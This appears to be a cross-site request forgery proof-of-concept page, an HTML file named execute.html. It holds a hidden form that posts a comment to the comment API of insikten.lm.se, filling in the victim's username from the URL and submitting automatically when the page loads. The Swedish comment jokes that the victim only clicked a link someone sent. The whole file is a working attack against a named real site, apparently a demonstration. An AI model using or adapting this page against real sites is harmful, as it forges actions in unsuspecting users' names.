execute.html

<html>
    <body>
        <form action="https://insikten.lm.se/api/epi/CreateComment/" method="POST">
            <input type="hidden" name="page" value="112031" />
			<input type="hidden" name="text" value="Jag gillar bullar, nom nom nom. Men det var inte jag som skrev detta, jag klickade bara på en länk som Johan skickade!" />
            <input type="hidden" name="user" id="username" value="null" />
        </form>
        <script>
			const urlParams = new URLSearchParams(window.location.search);
			const username = urlParams.get('user');
			document.getElementById("username").value = username;
			document.forms[0].submit();
        </script>
    </body>
</html>